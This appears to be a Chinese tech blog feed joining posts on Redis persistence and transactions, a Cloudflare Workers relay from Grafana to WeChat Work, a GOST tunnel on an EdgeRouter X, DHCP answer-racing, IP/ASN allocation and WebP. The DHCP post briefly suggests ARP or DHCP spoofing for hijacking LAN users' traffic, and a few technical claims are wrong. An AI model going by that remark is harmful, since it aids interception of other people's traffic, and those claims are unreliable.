要保存当前 Redis 实例中的数据的话,使用 save 就好了,会用 RDB 方式导出一个 .rdb 文件,这是个同步操作,由于 Redis 是单线程模型,这样的操作会 block 掉其他 client 的请求,所以如果不是为了关机 (跑路) 的话,建议使用 bgsave 来进行,此时 Redis 会 Fork 出来一个线程用来保存数据,父线程继续处理 Client 的请求。
如果要自动进行 RDB 持久化的话,通过修改 /etc/redis.conf 中对应字段:
save 900 1
save 300 10
save 60 10000
. . .
dbfilename "nextfile.rdb"
其中 900 1 表示,如果至少改了一个 key 的话,900 秒持久化一次,300 10 表示如果操作了 10 个 key 及以上的话,每 300 秒持久化一次,以此类推。
官方对于这两种不同的备份方式有更加详尽的介绍,可以参考:「Redis Persistence」一文。
我们知道,在 SET 一个 Key 的时候,有一个可选的选项,叫做 expire,例如:
SET nova "kwok expire in a minute" EX 60
那么这个 Key 会在 60 秒后过期,之后就再也 get 不到它了,那么 redis 是如何设计自己的 Key 过期机制的呢?
在官方文档「EXPIRE – Redis」中,我们可以知道,Redis 对于 Key 的过期有两种方式,一种是「被动方式,passive way」,一种是「主动方式,active way」, passive way 很好理解,当来了一个请求的时候判断一下 Key 是否过期了,如果过期了,就把 Key 删了,然后返回个 nil,仿佛这个 Key 没有存在过,但是如果只有这一种 expire 方式的话,一旦大量 key 长期没有被使用,Redis 就把内存吃完了,所以还有个 active way,原理如下:
每 1/10 秒内就执行一遍以下操作:
- 首先随机选择 20 个设置了 expire 参数的 key
- 把过期了的 key 给删了
- 如果删的 key 数量超过 25% 了,那么再回到第一步
对应的代码在 src/expire.c 下,函数如下:
void activeExpireCycle(int type)
从函数传入参数 type 配合注释来看,activeExpireCycle 有两种模式:
ACTIVE_EXPIRE_CYCLE_FAST,这种模式下 Expire Key 的原则是删过期 Key 的时间不超过定义的 EXPIRE_FAST_CYCLE_DURATION(目前的定义是 1 秒),如果一次删 Key 超过了 1 秒,那么不会运行下一次删除ACTIVE_EXPIRE_CYCLE_SLOW,这个会通过 ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC 来进行判断,这个目前的定义是 25(25% 的 CPU 占用率)相关的常量定义如下,如果希望最简单地修改 expire 逻辑的话,可以通过直接修改这些值并重新编译来完成。
#define ACTIVE_EXPIRE_CYCLE_KEYS_PER_LOOP 20 /* 每次找 20 个 Key. */
#define ACTIVE_EXPIRE_CYCLE_FAST_DURATION 1000 /* Microseconds. */
#define ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC 25 /* Max % of CPU to use. */
#define ACTIVE_EXPIRE_CYCLE_ACCEPTABLE_STALE 10 /* % of stale keys after which
we do extra efforts. */
对于上述步骤 3 来说,是通过一个 do while 循环实现:
do{
// 清理 Key
} while (sampled == 0 ||
(expired*100/sampled) > config_cycle_acceptable_stale);
检查 key 是否过期的函数:
int checkAlreadyExpired(long long when) {
/* EXPIRE with negative TTL, or EXPIREAT with a timestamp into the past
* should never be executed as a DEL when load the AOF or in the context
* of a slave instance.
*
* Instead we add the already expired key to the database with expire time
* (possibly in the past) and wait for an explicit DEL from the master. */
return (when <= mstime() && !server.loading && !server.masterhost);
}
这里需要记住的是,Redis does not have any rollback mechanism at all - that isn’t what Redis’ transaction are about.
记住了?我们继续~
Redis 中我们可以提交一系列的操作,通过如下方式进行:
multi
set key_MeaningOfLife 1
incr key_MeaningOfLife
incrby key_MeaningOfLife 40get key_MeaningOfLife
exec
然后 Redis 会依次返回每次的操作结果。
但是这里要注意的是,除非有语法错误,否则 Transaction 并不会保证整个 Block 内是完全执行的,比如如下操作:
127.0.0.1:6379> get noo
(nil)
127.0.0.1:6379> multi
OK
127.0.0.1:6379> set noo 146
QUEUED
127.0.0.1:6379> incrby noo "nova"
QUEUED
127.0.0.1:6379> exec
1) OK
2) (error) ERR value is not an integer or out of range
127.0.0.1:6379> get noo
"146"
上述操作中没有语法错误,但是尝试给 146 自增了一个 string,所以在那个指令上报错了,但是,set 指令依然是有效的,且会被执行(提交),又由于开头我们提到的,Redis 的 Transaction 中是没有回滚机制的,所以这个是一个和关系型数据库中同术语但是意义完全不同的一个操作,希望引起注意。
「我就感觉到快.jpg」
「有缓存肯定就和 Nginx 一样快了」
Redis 究竟有多快?一般我们可以从 Troughtput(OPS) 和延迟两个角度来进行,对于前者,官方给的图如下:

此外我们可以在 「Redis 的性能幻想与残酷现实」 中看到,当 Data Size 增加的时候 Redis 的 Troughtput 会有一个较大的拐点:

所以许多问题并不是无脑丢缓存/Redis 就可解决的。
最后:
➜ redis git:(unstable) git shortlog | cat | grep "typo" | wc -l
232
(跑~
Wiki 对于 Serverless Computing 的解释是:
Serverless computing is a cloud computing execution model in which the cloud provider runs the server, and dynamically manages the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity.
我对于 Serverless 的理解是:
关于 Serverless ,个人认为一个最好的诠释应该是下图:

对于静态内容来说,可以直接通过 S3 (搭配 Cloudfront)进行输出,对于动态的请求来说,只需要自己写好业务逻辑,去请求后端的服务即可,然后,无需考虑自己服务器部署,维护等内容,且真正按量计费。
相比较传统的 Serverless 框架来说,Cloudflare Workers 更近了一步,传统的 Serverless 结构还是有一个中心化的部署(比如应用就部署在 us-west 区域),甚至某些厂商认为自己的 Managed Docker 也是 Serverless,非常迷惑,前面是服务商的 CDN,而 Cloudflare 的函数部分是全球化的,计算逻辑直接跑在边缘节点上,依托他们的全球 Anycast 网络。这一点类似 Amazon 的 Lambda@Edge。

Cloudflare 对于自己的 Workers 是这么介绍的:
You write code. We handle the rest.
以及:
Deploy serverless code to data centers across 200 cities in 95 countries to give it exceptional performance and reliability.
相对比传统的业务逻辑,我们将应用部署在自己的服务器上,并使用 Cloudflare 进行 CDN 加速(或者减速),终端用户的所有请求(一般来说就是 HTTP 请求啦)会先通过 Cloudflare 的网络,然后再由 Cloudflare 走公网反向代理到自己的应用服务器上,等应用服务器完成处理后请求再通过 Cloudflare 的边缘节点重新返回给用户(这个过程称为:回源)。
这么一来有两个问题:
对于一个源站在日本的服务器来说,如果一个欧洲用户访问,那么用户的访问请求会通过 Cloudflare 位于欧洲的服务器返回到日本的源站上,期间直接走公网,如果你对 Cloudflare 回源机制还不熟悉的话,可以参考我的博文「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」,内部讲解了 Cloudflare 回源机制,以及 Cloudflare 的增值服务——Argo。
由于是一个中心化的源站(当然,如果你使用了负载均衡器等另说),来自不同地区的访客的计算压力会全部落在自己的架构上。
Cloudflare Workers 的出现可以解决以上两个问题,Workers 的工作模式是在 Cloudflare 的 200+ 个数据中心(边缘节点)上直接运行用户的 Javascript 代码,所有的计算全部在边缘进行,此外,为了保证 Stateful 的服务,Workers 还提供一个全球低延迟(利用 Cloudflare 内网)的 KV 键值对数据库用于边缘应用的读写。
除了这些以外,还有一些小特性值得关注:
别的不多说,我们先给一个对比图,以下是 webp-sh/webp_server_go,的官网: https://webp.sh 的内容,我们观察两种不同的使用 Cloudflare 的方式:
结构如下,网站的静态内容放置在 GCP 的日本 Osaka,使用的 Premium 网络,即使用了「冷土豆路由」,保证服务器到访客之间尽可能多的在 Google 内网内,此外,前端加入 Cloudflare 反向代理。
我们从 ping 值会发现,由于 Cloudflare 有 Anycast,在海外部分 ping 的延迟符合 Cloudflare 的预期:

这是因为我们的 ICMP 包在 Cloudflare 的边缘节点就已经有了 echo,然而对于网页访问来说是 HTTP 的 GET 请求,这里评判用户看到网页速度的要素不只是 ping 值,还有 TTFB:
TTFB measures the duration from the user or client making an HTTP request to the first byte of the page being received by the client’s browser. This time is made up of the socket connection time, the time taken to send the HTTP request, and the time taken to get the first byte of the page. Although sometimes misunderstood as a post-DNS calculation, the original calculation of TTFB in networking always includes network latency in measuring the time it takes for a resource to begin loading.

可以看到,在日本地区 TTFB 最小(因为距离最短,日本访客 -> Cloudflare 日本节点 -> 日本源站),而在德国,TTFB 就大的多了。
这里直接使用了 Cloudflare Workers Site 的功能,将 webp.sh 的网页直接推到 Workers 的 KV 存储中,并使用一个临时域名进行展示,可以看到,由于直接从 Cloudflare 边缘节点进行输出(没有回源的开销),这个时候的 TTFB 就已经大幅度减少:

相信看到上面的例子你应该已经大概明白了 Cloudflare Workers 是啥,以及它所能带来的好处了,现在我们看看 Cloudflare Workers 怎么用,可惜的是,目前在 Google 上搜索「Cloudflare Workers」相关除了看到 Sukka 的一篇「将 Hexo 部署到 Cloudflare Workers Site 上的趟坑记录」以外就只能看到大家都在用 EtherDream 写的 JSProxy 做代理翻墙…

我们来看看 Cloudflare Workers 怎么用吧。
这一步其实比较简单,在安装好 NPM 后直接按照 Quick Start 安装就好:
npm install -g @cloudflare/wrangler
然后就可以 wrangler generate my-router-app 创建一个 APP 了,这里建议先通篇阅读一下上述的 Quick Start.
在安装好 APP 之后,你就有 开局一个 index.js 可以用了,内容一般是这样的:
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
/**
* Respond with hello worker text
* @param {Request} request
*/
async function handleRequest(request) {
return new Response('Hello worker!', {
headers: { 'content-type': 'text/plain' },
})
}
警告:由于我没有学过 Javascript ,以下纯属瞎掰,仅供娱乐使用
这里的 addEventListener 是整个程序的入口,目前 Cloudflare Workers 只支持 FetchEvent,这一种。
好了,标题中我们提到了 G2WW,这里就以 G2WW 作为例子进行演示 Worker 的一个用法,我们知道 Grafana 的报警 Channel 中是没有「企业微信」的(但是有 DingDing,很奇怪),所以为了保证企业微信用户也可以通过 Grafana 进行报警,我们需要做一点改装。
企业微信的一个"接口"就是「机器人」,它支持 Webhook 调用,只需要按照他们的规范 POST 一个数据即可,他们的规范如下:
{
"msgtype": "news",
"news": {
"articles": [
{
"title": "这里是标题",
"description": "你的服务掉线了",
"url": "https://status.xxx.xxx/grafana/xxx",
"picurl": "https://kongbu.de.diaoxian.tupian/1.jpg"
}
]
}
}
Grafana 支持一个 Webhook 报警,Example 如下:
{
"dashboardId":1,
"evalMatches":[
{
"value":1,
"metric":"Count",
"tags":{}
}
],
"imageUrl":"https://grafana.com/static/assets/img/blog/mixed_styles.png",
"message":"Notification Message",
"orgId":1,
"panelId":2,
"ruleId":1,
"ruleName":"Panel Title alert",
"ruleUrl":"http://localhost:3000/d/hZ7BuVbWz/test-dashboard?fullscreen\u0026edit\u0026tab=alert\u0026panelId=2\u0026orgId=1",
"state":"alerting",
"tags":{
"tag name":"tag value"
},
"title":"[Alerting] Panel Title alert"
}
那么我们的需求就很明确了,就是需要将 Grafana Webhook 的报警内容提取需要的字段并转发到企业微信的接口上即可,该怎么做呢?
首先我们需要区分请求是 GET 请求还是 POST 请求:
addEventListener('fetch', event => {
const { request } = event
if (request.method === 'POST') {
return event.respondWith(postWeChatUrl(request))
} else if (request.method === 'GET') {
return event.respondWith(new Response(banner_content, {
headers: { 'content-type': 'text/html' },
}))
}
})
对于 POST 请求,我们对内容进行处理,并转发到企业微信的 API 地址上:
async function postWeChatUrl(request) {
var key = request.url.replace(/^https:\/\/.*?\//gi, "")
// 这里我们拼接一下,对于访问 https://g2ww-serverless.nova.moe/xxxxxx-xxxxxx 的请求就自动发到 https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxxxxx-xxxxxx 下
var wechat_work_url = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=" + key
var json_obj = await request.json()
// 重新构造 JSON
var template =
{
"msgtype": "news",
"news": {
"articles": [
{
"title": json_obj['title'],
"description": json_obj['message'],
"url": json_obj['ruleUrl'],
"picurl": json_obj['imageUrl']
}
]
}
}
const init = {
body: JSON.stringify(template),
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
}
// 发出请求
const response = await fetch(wechat_work_url, init)
// 准备结果
const results = await gatherResponse(response)
return new Response(results, init)
}
最后处理一下返回值并返回给客户端就可以了:
async function gatherResponse(response) {
const { headers } = response
const contentType = headers.get('content-type') || ''
if (contentType.includes('application/json')) {
return JSON.stringify(await response.json())
} else {
return await response.text()
}
}
然后一个 Serverless 的 G2WW 就这么做好了,非常简单是不是?
我们把代码推到 Cloudflare 上:
wrangler publish
然后配置一下 Grafana 的报警 Channel 并看看效果如何:

配置个地址,图片中使用了 https://g2ww.nova.moe/<key>,其实可以使用 https://g2ww-serverless.nova.moe/<key>,然后点一下 「Send Test」。

一个可用的成品 Demo + 使用方法: https://g2ww-serverless.nova.moe
当然,这个只是一个 Hack,最终还是希望 Grafana 可以直接原生支持企业微信,我已经给他们提了一个 PR Add a new notifier : WeChat Work(企業微信) #26109,希望他们能快点合并吧。
以上通过一个简单的例子大致走了一遍 Cloudflare Workers 的基本用法,当然,Cloudflare Workers 的玩法绝对不止这么点,尤其是在 KV 的加持下,一定会有更多的有意思的项目兴起,比如他们的「Built with Workers」就有很多的优秀的项目,从各个角度发觉 Cloudflare Workers 的用法。
想到之前在某论坛上看到的一句话:
想法太多,我们却很少停下来看看真正的需求是什么,并对自己的技能进行提升和学习,一直忙于低头走路,以至于越走越累了。
除了已有的项目以外,我们还能利用它来做点什么呢,我想这是一个值得思考的问题。
网上有很多类似的说明,这里也就不额外展开了,官方的介绍是:
The EdgeRouter™X delivers cost-effective routing performance in an ultra‑compact form factor.
对于我们而言,我们一般关注以下特性:
UBNT ERX 默认使用的 EdgeOS 是一个魔改版的 Debian,如果你使用了 v2.0.x 的固件,那么就是 Debian 9,不然是 Debian 7,目前手上这个路由器运行着 v2.0.8,也就是 Debian 9。
要升级固件的话看官网:Ubiquiti - Download,注意 UBNT 给 ER-X 同时提供了两个版本的固件,一个是 v1.10.x,一个是 v2.0.x,都是可用的,不过有说法是 v2.0.x 相比较之前的 bug 会变多,转发性能下降。
在升级系统这块,如果系统中有多于两个镜像的话,几乎约等于重启后无法起来(由于存储空间实在太小了,只有 256 MB),所以升级系统前建议先 SSH 到路由器上 show system image 一下看看有没有多余的系统,例如本例中只有一个 image:
ubnt@ubnt:~$ show system image
The system currently has the following image(s) installed:
v2.0.8-hotfix.1.5278088.200305.1641 (running image) (default boot)
如果有多的话,使用 delete system image,删掉多余的,或者如果 default boot 不是最新系统的话使用 set system image default-boot 切换一下默认开机系统,重启后删除另一个多余的系统。
在硬件方面我们需要关注的是:
对于 CPU 来说,SSH 进入路由器后通过 lscpu 可以看到如下输出:
Architecture: mips
Byte Order: Little Endian
CPU(s): 4
On-line CPU(s) list: 0-3
Thread(s) per core: 2
Core(s) per socket: 2
Socket(s): 1
BogoMIPS: 581.63
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
用的是小端法(Little Endian),所以后文中下载的包一律找包含关键词 mipsle 的(le -> little endian)。
有了以上预备知识之后就可以开始配置路由器了,在本文中,路由器的配置模式为「光猫桥接,路由器 eth0 口 PPPoE 拨号,eth1~eth4 配置在 switch0 接口上并开启了 DHCP」
SSH 到路由器上后使用:
configure
set system package repository stretch components 'main contrib non-free'
set system package repository stretch distribution stretch
set system package repository stretch url http://mirrors.tuna.tsinghua.edu.cn/debian
commit ; save
配置 Debian 的源,这里使用了清华的源,如果有别的需求的话可以上 Debian worldwide mirror sites 找一下对于你来说速度比较快的源,记得看后面的注释是需要包含 mipsel 的,比如下图中的 163 的源这种就不要选了:

配置好后 apt update 一波(但别 apt upgrade,不然要炸),然后安装用来临时保持的 screen,和用来传包的 rsync: apt install screen rsync -y。
在自己电脑上下载 GOST,在写本文时 GOST 版本为 v2.11.1,所以用的是 https://github.com/ginuerzh/gost/releases 的 https://github.com/ginuerzh/gost/releases/download/v2.11.1/gost-linux-mips64le-2.11.1.gz
在本地解压之后把 GOST 的可执行文件传上路由器,然后在路由器上开 screen 后启动 GOST,这里假设你使用的是如下指令启动的 GOST(监听本地 3306 端口,并使用 WebSocket 隧道转发到远程 12.34.56.78 的 995 端口):
./gost -L=tcp://:3306 -L=udp://:3306 -F=forward+ws://12.34.56.78:995
由于这个程序是直接开在路由器上的,UBNT ERX 默认有防火墙挡住了这个请求,所以需要在防火墙上开个口子放行 3306 端口的流量到路由器上,在 「Firewall/NAT」 那一栏找到 WAN_LOCAL:

并加入一条目的地址为 3306 的放行规则即可:

在测试的情况下,用 wss Forward 方式,跑到 45 Mbps 左右的时候路由器的 CPU 接近 100%。

以上只能算是个 POC 了,证明路由器可以这么用,但是从转发(以及加解密)性能来看,跑 GOST 的确吃力,通过这个实验也算是慢慢理解为啥之前某著名代理工具的某些加密算法会强调在弱算力设备上的运行速度。
UBNT ERX 没有自带 DDNS 功能,不过既然路由器上有 Linux 环境,我们可以自己搓一个出来,可以参考我的笔记本: 用 cURL 自動更新 Cloudflare IP 地址實現 DDNS,配合 crontab 使用。
许多人拿到路由器后可能会习惯性地打开 Hardware Offloading,虽然这个特性有一些好处,比如:
Without offloading enabled, IPv4 traffic will be routed via the CPU and will be limited to around 300Mbps on the EdgeRouter Lite (ERLite-3). With offloading enabled, the throughput will be about 950Mbps.
但是在文末 Reference 3 链接中有一些说明:
You should only need to enable offloading for these features if you are using them in your environment. However, enabling offloading for all features will not cause a negative impact if those features are not being used.
开启前建议仔细阅读一下。
我们都知道,传统的 DNS 走的是 UDP 协议,在大陆的网络环境下,DNS 请求是可以被抢答的,不信你看:
# 美西的机器
root@pf:~# dig www.bennythink.com +short
104.27.167.30
104.27.166.30
# 大陆的机器
➜ ~ dig www.bennythink.com +short
67.15.129.210
天知道国内这个这是个什么 IP!
DNS 抢答有不少优点,比如:
唯一的问题就是:
对于 DHCP 的简要原理,在之前的博文(我们的 IP 是怎么来的——从本地路由 DHCP 到 IANA 的 “公网” IP 分配)中我们知道,和 DNS 类似,它也是一个走 UDP 的,随缘返回的一个协议,但是和 DNS 不同,大部分的 DHCP 请求都是在一些内网中,由于路由器广播域的限制,DHCP 请求一般不会被漏到公网中。
前段时间在配置一个网络的时候,插上自己电脑的网线发现 IP 不再是熟悉的 192.168.1.xxx ,而变成了 10.19.89.xxx,“但是依然可以正常上网”。
这个时候第一反应是访问一下之前的网关 192.168.1.1,发现能 ping 通,也可以正常地访问到对应的配置页面。
这个时候问题就非常奇怪了,除了在寝室内有配置过这个段以外,应该不会在什么地方配置这么个段吧…
思前想后终于想到了在某个图形化的界面上配置过这么个 IP 段:

然后突然想到了角落的一台 NUC,那还是几天之间为了保证国内其他地区用户可以通过它连接到国内大内网中而随意开的一个 SoftEther VPN Server,最初尝试失败之后就被搁置了,没想到它的 SecureNAT 功能在本地内网内成为了一个 DHCP 服务器继续发光发热。
在大概确认了来源之后,就开始打开 Wireshark 开始抓包了,很快就可以看到又如下的包:

从上面的包中我们可以看到,我的电脑先是对外发了一个 DHCP Discovery 的广播包,然后有两个 DHCP 服务器给我们客户端发了 Offer ,分别是 192.168.1.1 和 10.19.89.1,且后者先给的 Offer,于是我们的客户端接受了这个 10.19.89.1 的 Offer。

由于没有配置IP地址、网关、DNS 等,在网络上是寸步难行的,因此首先需要从 DHCP 那获得这些。然而,既然连 IP 地址都没有,那又是如何通信的?显然,只能发到广播地址(255.255.255.255)上,而自己则暂时使用无效的IP地址(0.0.0.0)。(事实上,链路层的通信只要有 MAC 地址就行,IP 地址已属于网络层了,但 DHCP 由于某些特殊需要使用的是 UDP 协议)
因为是发往广播,内网环境里的所有用户都能听到。如果存在多个DHCP服务器,则分别予以回复;用户则选择最先收到的。由于规则是如此简单,以至于用户没有选择的余地。
来源:https://www.jianshu.com/p/aed707f183c5
所以之前的问题也就非常明显了,由于自己的配置失误,被内网另一个 DHCP 服务器抢答了 DHCP 请求(连网关都抢过去了),所有的流量都走了那台 NUC,然后那台 NUC 再向上转发了对应的流量。

这个时候另一个问题出现了,为什么同在
192.168.1.0/24网段下的 NUC 可以更快地发出 DHCP Offer 呢?
所以在一个内网下,如果想要劫持原有用户流量我们可以走 ARP 欺骗的路子,如果希望劫持新用户的流量,还可以考虑一下 DHCP 抢答的方式(当然,成功率随缘),这个时候回头来看一下在学校里面非常常用的 EtterCap 的 DHCP Spoof 功能…

感慨万千…
]]>curl ip.sb 一下,你就可以看到自己的 IP,但是这个 IP 是怎么来的,这个问题在多年前困扰了我好久,最近由于自己有 ASN 和一小段 IP,所以便有了整理本文的想法,一来可以分享一些可能大家少关注的信息,另一个方面也是增强一下自己对于知识的理解,因为:
在【理想情况】下,如果你已经对某个领域某个分支达到【完全掌握】的程度,那么你就可以比较轻松地写出该领域某个分支的【通俗性读物】,并且确实能让【外行人】看懂,反之,如果你的掌握程度还不够。
——如何【系统性学习】——从“媒介形态”聊到“DIKW 模型”
首先我们介绍一个简单的概念,IP 地址有哪些分类,这个我们在各类计算机网络的书上都见过,由于我本人一直没能背下来,所以这里再贴一下相关的表格:
| Prefix | Designation and Explanation | IPv4 Equivalent |
|---|---|---|
| ::1/128 | Loopback This address is used when a host talks to itself over IPv6. This often happens when one program sends data to another. |
127.0.0.1 |
| fc00::/7 Example: fdf8:f53b:82e4::53 |
Unique Local Addresses (ULAs) These addresses are reserved for local use in home and enterprise environments and are not public address space.These addresses might not be unique, and there is no formal address registration. Packets with these addresses in the source or destination fields are not intended to be routed on the public Internet but are intended to be routed within the enterprise or organisation.See RFC 4193 for more details. |
Private, or RFC 1918 address space: 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 |
| fe80::/10 Example: fe80::200:5aee:feaa:20a2 |
Link-Local Addresses These addresses are used on a single link or a non-routed common access network, such as an Ethernet LAN. They do not need to be unique outside of that link.Link-local addresses may appear as the source or destination of an IPv6 packet. Routers must not forward IPv6 packets if the source or destination contains a link-local address.Link-local addresses may appear as the source or destination of an IPv6 packet. Routers must not forward IPv6 packets if the source or destination contains a link-local address. |
169.254.0.0/16(可以参考 关于 169.254.0.0/16 地址的一点笔记 ) |
| 2000::/3 | Global Unicast Other than the exceptions documented in this table, the operators of networks using these addresses can be found using the Whois servers of the RIRs listed in the registry at:http://www.iana.org/assignments/ipv6-unicast-address-assignments |
No equivalent single block |
| ff00::/8 Example: ff01:0:0:0:0:0:0:2 |
Multicast These addresses are used to identify multicast groups. They should only be used as destination addresses, never as source addresses |
224.0.0.0/4 |
我们要探寻的第一个问题在于,IP 是怎么来的,这个时候如果你使用的是 Windows,那么你的第一反应应该是 ipconfig ,作为 BSD 用户,可能第一反应是 ip addr,这个时候如果你在家中的话,可能就会看到非常常见的 172.16.xxx.xxx,好了,这个时候参考上表,我们可以知道这个 IP 是一个:Unique Local Addresses,或者也就是我们所谓的保留地址,或者私有地址,这个 IP 地址是如何来的?
DHCP!(大声)
没错,DHCP 全称 Dynamic Host Configuration Protocol,简单来说,你连接上家里路由器,然后 DHCP 就会开始工作,如果要说的详细一点的话,DHCP 是走的 UDP,且分为一下四个步骤:
这个时候我们已经获得了一个所谓的内网 IP 了,且由于 NAT 的存在,我们可以一个家庭共享一个「公网 IP」(如果你家有的话,如果没有的话,可以打电话给 ISP 要求开通,是免费的)来上网了,那我们这个「公网 IP」又是如何得到的呢?
还是 DHCP,不过底层一般还有一个 PPPoE 的封装,也就是所谓的宽带拨号,如果你不熟悉原理的话,可以参考Point-to-Point Protocol over Ethernet。
在一个简单的模型下,你的「内网 IP」为 172.16.0.1/24,你的「公网 IP 」为 123.19.98.2/32,那么你的运营商一定是因为拥有包含了你的「公网 IP」的段才可以这么分配,那么运营商是如何获得这个段的呢?
我们知道在一个隔离的局域网下,在可以用的私有地址中我们可以随意指定设备的 IP,比如路由器(或者叫网关)指定一个 172.16.0.1,然后每个客户端上分配 172.16.0.1/24 段中的地址,但是在一个公网环境下,事情就没有那么简单了。
是 IANA,Wiki 描述如下:
The Internet Assigned Numbers Authority is a function of ICANN, a nonprofit private American corporation that oversees global IP address allocation, autonomous system number allocation, root zone management in the Domain Name System, media types, and other Internet Protocol-related symbols and Internet numbers.
一般来说,你的 IP 可能会属于一个 ASN,也就是 Autonomous System Number,以 Cloudflare 之前得手的 1.1.1.1 为例,从 https://bgp.he.net/ip/1.1.1.1 上可以看到,这个 IP 属于 AS13335 Cloudflare,他甚至拥有 1.1.1.0/24 整个段,所以 Cloudflare 可以自由地使用自己的 IP 地址。
接下来一个问题就显而易见了,我们如何拥有一个自己的 IP 地址,或者说,怎么证明自己拥有了 IP 地址呢?
假设你有了,对,就是你有了,别说怎么来的,那么如何证明你有了?
首先我们知道一个 IP 是包含在一个 ASN 中的,所以给定一个 IP 或 ASN,一定可以查询到关于 ASN 的所有信息,例如上文中的 AS13335 的 WHOIS 信息如下(可以在 https://apps.db.ripe.net/db-web-ui/lookup?source=ripe-nonauth&key=AS13335&type=aut-num 看到):
aut-num: AS13335
as-name: CLOUDFLARENET-AS
descr: Cloudflare, Inc.
descr: 101 Townsend Street, San Francisco, CA 94107, US
status: OTHER
mnt-by: MNT-CLOUDFLARE
org: ORG-CI40-RIPE
notify: [email protected]
admin-c: CAC80-RIPE
tech-c: CTC6-RIPE
remarks: See ARIN database for complete information
created: 2015-10-08T16:51:14Z
last-modified: 2019-03-19T21:30:09Z
source: RIPE-NONAUTH
其中 mnt-by 表示这个 ASN 的 Maintainer,也就是 MNT-CLOUDFLARE,相关 WHOIS 如下:
mntner: MNT-CLOUDFLARE
descr: Cloudflare, Inc.
descr: 101 Townsend Street, San Francisco, CA 94107, US
admin-c: ML18637-RIPE
admin-c: SR11544-RIPE
admin-c: TP5485-RIPE
upd-to: [email protected]
auth: MD5-PW# Filtered
auth: SSO# Filtered
auth: SSO# Filtered
auth: SSO# Filtered
mnt-by: MNT-CLOUDFLARE
notify: [email protected]
mnt-nfy: [email protected]
created: 2012-08-10T03:29:42Z
last-modified: 2019-03-14T22:25:52Z
source: RIPE# Filtered
这样你就可以知道这个段的 IP 属于谁了,所以我们理一下关系:一个 IP 一定属于某一个段(比如 1.1.1.1 属于 1.1.1.0/24 段),这个 IP 段一定属于某一个 AS ,IP 段的所有者信息其实是 AS 的所有者信息,那么,如果你想有一个属于自己的 IP 的话,其实就很明确了,需要有一个 AS。
对于想获得自己 IP 段或者 ASN 的同学,有以下两个方式:
当自己有了 ASN 之后我们就可以购买一个 IP 段了,如上文所说,IP 和 ASN 存在对应关系,所以当你购买了 IP 之后就会出现在你的 ASN 下,然后,由于在 mnt-by 上标记了你的邮件地址,这个时候你通过这个邮件地址发出的邮件就具有证明效益了,为什么如此,见下文。
现在我们有了 ASN 和 IP 地址,我们要如何使用到自己的 IP 地址呢?我们需要对自己的 IP 进行 IP 宣告(IP Announcement):
IP Announcement (IPAN) enables you (if you have your own AS (Autonomous System) and IP Ranges) to have your IP addresses announced by Leaseweb. This allows you to use a larger amount of IPs on a rack or server (than the standard allocation of Leaseweb) and keep the IPs when moving to another provider.
如果使用了一些机房的网络,或者需要使用 HE 的 Tunnel Broker,我们需要先发送一个被称为 LOA 的文件,比如 Leaseweb 就有如下要求:
If the organization and/or individual does not own the IP prefix that needs to be advertised, we will require a Letter Of Authorization (LOA) from actual owner of the IP prefix.
LOA 的内容可以类似如下:
AUTHORIZATION LETTER
2020/02/18
To whom it may concern,
This letter serves as authorization for Hurricane Electric, AS6939 to announce the following netblocks:
2xxx:xxxx:xxxx::/48
As a representative of the company XXXX that is the owner of the subnet and/or ASN, I hereby declare that I'm authorized to represent and sign for this LOA.
Should you have questions about this request, email me at [email protected].
From,
XXXX
当然,形式不拘一格,差不多是那么回事就可以,然后注意,需要用上面 MNT 的邮件地址发送以证明所有权。
这里推荐几个不错的实践教程:
出于篇幅考虑,本文就不再继续讨论 IP 宣告的背后原理了,有兴趣的读者可以先自行探索一下,现在你已经有了自己的 IP 和 ASN 了,为什么不去玩玩看 Anycast 呢?比如可以搭建 Cloudflare 背后的 IPv6 AnyCast 网络。

同时,你的打分也会被下降了,如何解决这种问题呢?
我们知道,图片一般有不同的格式,比如我们常见的 JPG,PNG 就分别属于两种不同的图片格式,通过是否对图片进行压缩,我们可以分为:
除了是否压缩以外,还有一个大家可能经常会遇到的问题——图片是否有透明图层,例如在之前的「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」中的图片,在嵌入我的文章时并不会因为背景颜色的变化而显示出一个白色的背景,这是因为图片存在「透明通道(阿尔法通道)」,常见的支持透明通道的图片格式有:PNG,PSD,JPEG XR 和 JPEG 2000,其中后两者也是 Google 推荐的图片的 next-gen formats 之二,而常见的无透明通道的则是:JPEG 啦。
除了这个之外,还有一个由 Google 牵头研发,Telegram Stickers 主力使用的文件格式——WebP。
WebP的有损压缩算法是基于VP8视频格式的帧内编码[17],并以RIFF作为容器格式。[2] 因此,它是一个具有八位色彩深度和以1:2的比例进行色度子采样的亮度-色度模型(YCbCr 4:2:0)的基于块的转换方案。[18] 不含内容的情况下,RIFF容器要求只需20字节的开销,依然能保存额外的 元数据(metadata)。[2] WebP图像的边长限制为16383像素。
在 WebP 的官网中,我们可以发现 Google 是这样宣传 WebP 的:
WebP lossless images are 26% smaller in size compared to PNGs. WebP lossy images are 25-34% smaller than comparable JPEG images at equivalent SSIM quality index.
简单来说,WebP 图片格式的存在,让我们在 WebP 上展示的图片体积可以有较大幅度的缩小,也就带来了加载性能的提升。
要生成一个 WebP 图片非常简单,只需要下载 Google 提供的 cwebp 工具,并且使用:
cwebp -q 70 picture_with_alpha.png -o picture_with_alpha.webp
就可以进行转换了,转换出来的 webp 图片比原图会小不少,但是这个是单张图片,我们的目的是让站点的图片可以无痛地以 WebP 格式输出,如果我们的博客上有 100+ 张图片转换该如何操作呢?如果是更多呢?
聪明的人可以想到——我们可以写一个脚本来自动转换,或者使用一些服务器插件,比如 mod_pagespeed (可以参考之前的文章:使用 Nginx 和 mod_pagespeed 自动将图片转换为 WebP 并输出),但是这些操作都有其特定的局限性,以 mod_pagespeed 为例,假设你能流畅完成编译/安装/配置,它的转换需要以图片和站点内容在一个目录下为前提,并通过修改 URL 的方式进行转换,举例来说,你的图片地址为:
<img src="picture_with_alpha.png">
那么经过转换后的图片可能为:
